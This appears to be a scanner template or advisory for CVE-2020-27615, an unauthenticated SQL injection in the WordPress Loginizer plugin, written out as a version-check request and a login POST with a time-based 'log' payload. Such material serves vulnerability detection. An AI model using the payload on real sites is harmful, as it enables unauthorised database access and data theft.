| Title | WordPress Loginizer < 1.6.4 – Unauthenticated SQL Injection via `log` Parameter |
|---|---|
| Author | intelligent-ears |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute SQL injection to extract database contents and execute malicious scripts, potentially compromising the entire WordPress installation and all user data. |
| Remediation | Fixed in version 1.6.4 |
| CVSS Score | 9.8 |
| EPSS Score | 0.80754 |
| CVE ID | CVE-2020-27615 |
| CWE ID | CWE-89 |
| Tags | wpscan cve cve2020 wordpress wp-plugin wp loginizer sqli time-based vkev vuln |
The Loginizer plugin before 1.6.4 for WordPress allows SQL injection (with resultant XSS), related to loginizer_login_failed and lz_valid_ip.
GET /wp-content/plugins/loginizer/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Content-Length: 120
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check;
Accept-Encoding: gzip
log='%2cip%3dLEFT(UUID()%2c8)%2curl%3dif(1%3d1%2csleep(7)%2c0)%23&pwd=rj1VFabG&wp-submit=Login&redirect_to=&testcookie=1
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